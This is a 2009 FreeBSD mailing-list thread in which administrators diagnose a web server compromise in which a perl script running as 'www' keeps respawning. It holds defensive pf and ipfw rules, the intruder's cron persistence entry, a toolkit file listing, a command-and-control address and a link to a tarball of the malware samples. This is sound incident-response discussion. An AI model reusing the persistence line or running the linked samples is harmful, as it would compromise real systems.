http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to
freebsd-questions-unsubscr...@freebsd.org
--
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.comwrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wmo...@potentialtech.com
wrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran
wmo...@potentialtech.com
wrote:
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace
c...@lim.nl
wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from calling
home,
which
will effectively render it neutered until you can track down
and
actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to
94.102.51.57 on
port
7000. OK, so I how do I know what port the script is using for
outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it breaks things
in
odd
ways.
For example, your mail server listens on port 25 (and possibly
465 as
well) but
it communicates with connecting clients on whatever ethereal port
the
client
decided to use. If the port the client selects happens to be in
a
range
that
you are blocking, communication will be impossible and the client
will
report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_ and
you
don't
care about the ephemeral ports.
What ports would you block then when you're trying to run a
webserver?
My point (which is presented in examples below) is that you block
everything
and only allow what is needed (usually only dns and ntp, possibly smtp
if
the web server needs to send mail)
That single statement above was directed specifically at the comment
about
it being impossible to predict (and thus block) ephemeral source ports.
He's
right about that, and that's why filtering on the destination port is
the
more common practice.
Of course, that caused me to create an email that seems to contradict
itself, if you don't notice that it's two answers to two different
comments.
My point was that it's unfeasible to block by destination point. You can
only block by destination port if it's a known quantity, and the
destination
port is ephemeral in the question I posed(which what the OP had an issue
with).
Please read the entire email before you respond. My last example below
demonstrates how to do what you call unfeasible.
It's much easier to block outgoing ports for services you *don't*
want to
offer, but, if the service isn't running anyway, blocking the
port is
non-productive.
You're obviously misunderstanding me completely. Your not blocking
incoming
connections, your preventing outgoing ones, which means there _is_
no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin) could
have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port
{25,587,465,22}
keep
state
pass out quick on $ext_if proto tcp from me to any port {25} keep
state
pass out quick on $ext_if proto upd from me to any port {53,123}
keep
state
block all
(note that's only an example, there may be some fine points I'm
missing)
One thing that had not yet been mentioned when I posted my earlier
comment,
is that this system is a combination firewall/web server. That
makes
the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80} keep
state
pass out quick on $ext_if proto upd from me to any port {53,123}
keep
state
pass out quick on $ext_if from $internal_network to any all keep
state
block all
Which allows limited outgoing traffic originating from the box
itself,
but allows unlimited outgoing traffic from systems on
$internal_network.
I've done this with great success. In fact, I had a fun time where
a
client in question was infected with viruses out the wazoo, but the
viruses never spread off their local network because I only allowed
SMTP traffic to their SMTP relay, which required SMTP auth (thus
the
viruses couldn't send mail)
--
Adam Vande More
Re: what www perl script is running?
CyberLeo Kitsana wrote: Are these files available in a tarball someplace public, for those of us who enjoy performing autopsies on virii? Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz this tarball contains tmpfile which is the misbehaving script as well as the contents of a directory called ., which has a bunch of source code and so on. As indicated earlier, this stuff was installed by user 'www'. It should be unpacked in an empty directory. Have fun! - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25143778.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Adam Vande More wrote: [ huge, huge snip ] You said block by destination port. What you presented is not this, although it gives give a functional environment of it. Sorry for the pedantic pursuit here, but IMO terminology is important here. I've read this thread on a 'best-effort' basis throughout the day. Although I can *personally* translate what Bill's excellent feedback is saying into functional protection, I have to say that your statement quoted was the 'politically correct' way to express it. We've (ie: I've) been compromised in the past (several times), and experience based on having an installed Perl-based httpd program tells me thus: - it is likely a PHP script that was the root cause - it is likely that the script had access to a MySQL database - bulletin boards, mailer apps and blog software was often the culprit - it's a common hack, the Perl code that is installed can be downloaded anywhere We have a multi-site hosting environment, so we see things like this from time-to-time. I can't remember for sure if it was this list or not, but I know I've posted what to look for someplace. In this case, OP, look for: - directories named as such: -- ... -- . .. -- . . -- etc, particularly under: -- /var/tmp -- /tmp -- or anywhere else the [gu]id of the webserver could possibly write to There are other similar problems that are prevalent out there that someone running a web server may run into (one I've seen recently). It inserts HTML redirects into files (or directly into a MySQL table, in situations where links are generated dynamically) that direct the browser to foreign pages (presumably so that the browser will inadvertently download rogue programs into the visiting computer). This has had the effect of having Google block the page, and for client relations, it doesn't look good. Any time we've seen this, we refer the client to their web developer for assistance (heh). This such infection has noticeably been caused by server-side PDF management software, and a specific PHP video management software. We've never found that such 'kiddie/automated' hacks tried to manipulate or steal any information directly/initially, even after reviewing the code. With that said, I firmly agree with Bill that you should/must replace all passwords both on the Unix side of things, as well as within MySQL. tcpdump(1) is your friend. On the firewall side of things... I am on the fence with both Paul and Bill's comments as to whether having protection on each machine is a bonus or a failure. This really depends... and it depends on the environment which and where the box is logically attached. Given that I'm in an ISP environment, I don't want to manage ACLs for web servers on my network edge routers, so it's best that I contain them locally to the hosted web box itself. In other cases (such as an enterprise environment), it would be easier to manage such ACLs at the network perimeter. For a home box, a firewall-per-box may lead to better understanding and experience. What I haven't read in this thread so far is the term 'state', relative to stack protection. For instance, if I were to: % ipfw add 10 allow all from any to me 80 keep-state % ipfw add 15 deny all from any to any ... it would dynamically allow all requests to my web server (fw running on the host itself), would allow all responses back to the client (regardless of the port they used to send the request (because of state)), but it would deny everything and anything else, inbound and outbound. Note that in heavy environments that keeping state can have it's own detrimental drawbacks, which there is no need to get into here. These drawbacks are generally why one might decide not to block everything at the network edge, but on the box itself. Steve smime.p7s Description: S/MIME Cryptographic Signature
Re: what www perl script is running?
Colin, Be aware that what you listed below is what additional scripts the hacker installed on your server after he broke in. This does not tell you hwo the hacker broke in. So your server is still subject to compromission. Bests, olivier Try a find through the entire filesystem for files owned by this user that you can't account for. Also check your cron and at files under /var/cron and /var/at I found the cronjob which keeps restarting the script: [r...@venus /var/cron/tabs]# ls -l total 12 -rw--- 1 root wheel 3440 Aug 25 12:06 colin -rw--- 1 root wheel 240 Jul 28 23:49 www [r...@venus /var/cron/tabs]# cat www # DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.job installed on Tue Jul 28 23:49:28 2009) # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 2006/09/03 17:52:19 ru Exp $) */1 * * * * perl /tmp/tmpfile I removed it, so now at least the script stops relaunching. /tmp/tmpfile is of course the script. In a subdirectory of tmp, there is a whole bunch of source code, all owned by 'www': /tmp/.,]# ls -l total 5692 -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml -rw-r--r-- 1 www wheel43419 May 27 23:22 scanxml.txt ]# ls -l ml total 3208 -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents -rwxr-xr-x 1 www wheel2154 May 16 2003 Makefile -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h -rwxr-xr-x 1 www wheel1054 Aug 3 2008 m.lev -rwx--x--x 1 www wheel 6 May 25 2008 m.pid -rwxr-xr-x 1 www wheel1320 Mar 27 09:56 m.set -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico drwxr-xr-x 2 www wheel 512 Mar 4 2005 r drwxr-xr-x 2 www wheel1024 Dec 3 2005 src If anyone is interested in looking at this stuff, or wants more info, please let me know. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
what www perl script is running?
Hi all, I noticed this morning that a perl script was using a lot of CPU time on my FreeBSD webserver. By the time I killed it, it had run up 400 mins of system time according to top. However, simply killing 'perl5.8.9' didn't accomplish much, it was back running again moments later. I then rebooted. Once again it is running. According to top, the owner of the process is 'www', which would be lighttpd. So, it appears that lightthp is persistently spawning a perl script.But which one? I don't use perl much, but I do have it enabled in lighttp: [...] ) server.modules = ( mod_access, mod_simple_vhost, mod_accesslog, mod_cgi, mod_rewrite, mod_auth, mod_fastcgi, mod_redirect ) static-file.exclude-extensions = ( .fcgi, .php, .rb, ~, .inc ) cgi.assign = ( .pl = /usr/bin/perl, .cgi = /usr/local/bin/python, .py = /usr/local/bin/python, .sh = /usr/local/bin/bash ) [...] Is there a command like fuser or lsof which can be used to determine what files this perl instance is using? Any other ideas on how to figure out what is going on here? Thanks. uname: FreeBSD 7.0-STABLE i386 -- Colin Brace Amsterdam http://www.lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Is there a command like fuser or lsof which can be used to determine what files this perl instance is using? Any other ideas on how to figure out what is going on here? lsof is in the ports. best regards, Olivier ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
On Monday 24 August 2009 10:07:50 Olivier Nicole wrote: Is there a command like fuser or lsof which can be used to determine what files this perl instance is using? Any other ideas on how to figure out what is going on here? lsof is in the ports. and fstat(1) is in the core. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
